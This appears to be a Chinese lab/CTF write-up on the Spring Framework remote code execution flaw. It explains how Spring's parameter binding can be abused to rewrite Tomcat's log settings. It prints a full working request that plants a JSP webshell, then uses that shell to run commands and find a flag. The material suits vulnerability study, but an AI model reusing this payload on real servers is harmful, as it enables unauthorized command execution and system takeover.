当前位置: 首页 > news >正文

Spring Framework 远程命令执行漏洞

Spring Framework简单介绍

Spring Frame为现代企业应用程序提供了一个全面和可配置的编程模型,开发者可以根据需要快速选择需要的模块。使用spring来管理应用程序,可以将开发者从基础框架中解脱出来,专注于业务逻辑开发,极大提高开发效率。

Spring主要是以下模块组成:
image

  • Core container:IOC为核心层
  • Resource:资源
  • Aop:面向切面编程
  • Data Access:数据库访问层
  • Web:spring mvc层
  • Test:spring测试框架

漏洞原理

此次漏洞触发位置在spring-beans包中,当Spring利用了SpringMVC的参数绑定(Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器方法中参数对象的成员变量),并且开启了Accesslog功能时,通过 Classloader构造恶意请求获取AccessLogValue 对象并注入恶意字段值,来更改 Tomcat 服务器的日志记录属性触发 pipeline 机制写入任意路径下的文件。

漏洞复现

image
对页面进行抓包;并构造payload

POST / HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxxxxxx
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

其中payload

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

然后访问我们构造的tomcatwar.jsp的地址传入命令:

http://123.58.224.8:27078/tomcatwar.jsp?pwd=j&cmd=ls

获取flag:

http://123.58.224.8:27078/tomcatwar.jsp?pwd=j&cmd=find / -name *flag*

对于原理和payload的分析:
原理和payload的分析

http://www.zskr.cn/news/12917.html

相关文章:

  • python基本脚本要素
  • pip安装依赖包报错内容为User defined options,Native files 如何解决
  • edu 107 E(概率期望, dp)
  • Spring MVC的双向数据绑定
  • STM32定时器(寄存器与HAL库实现) - 实践
  • 微前端中iframe集成方式与应用微前端框架方式对比
  • 2025黄鹤杯线上wp
  • 一条频率信道是什么?
  • Unigine整合Myra UI Library全纪录(3):整合与优化
  • 实用指南:AI 时代的安全防线:国产大模型的数据风险与治理路径
  • 写给自己的年终复盘以及未来计划
  • 白居易-那个寒冷的夜晚,思念像潮水般袭来。想得家中夜深坐,还应说着远行人。
  • Metasploit Framework 6.4.90 (macOS, Linux, Windows) - 开源渗透测试框架
  • 秦岭迎来大丰收,徒步才能抵达的村庄,藏着有钱难买的山货!
  • 那些诗词那些花|君不见此玫瑰于晚秋的夜色中凄然绽放,别具一格。
  • Apache Doris性能优化全解析:慢查询定位与引擎深度调优 - 教程
  • 秋风中的窘境,一代诗圣的安居梦
  • 辛弃疾:明月团团高树影,十里水沉烟冷
  • MCP协议:重构AI协作的未来,打破模型边界的技术革命! - 详解
  • Go与C# 谁才更能节省内存? - 详解
  • shiro反序列化及规避检测
  • Altium Designer(AD)自定义PCB外观颜色 - 实践
  • C++23特性全解析:从编译器支撑矩阵到多维数组性能优化实战
  • 2025 年地坪研磨机厂家推荐榜单:盘点 TOP 品牌的格力,宁德时代等标杆客户合作案例
  • 了解学习Nginx反向代理与缓存作用
  • 【PLC】昱控兼容三菱FX3U PLC作为Modbus RTU从机,使用串口调试助手访问
  • B站python入门学习---第二阶段第二章数据库、SQL和MySQL
  • 上证指数历年每月涨跌统计 - Leone
  • 20250927Sat VIM 在函数内部任一行,按 [[ 即跳转到函数的开头
  • 石子合并(一排的和一个环的)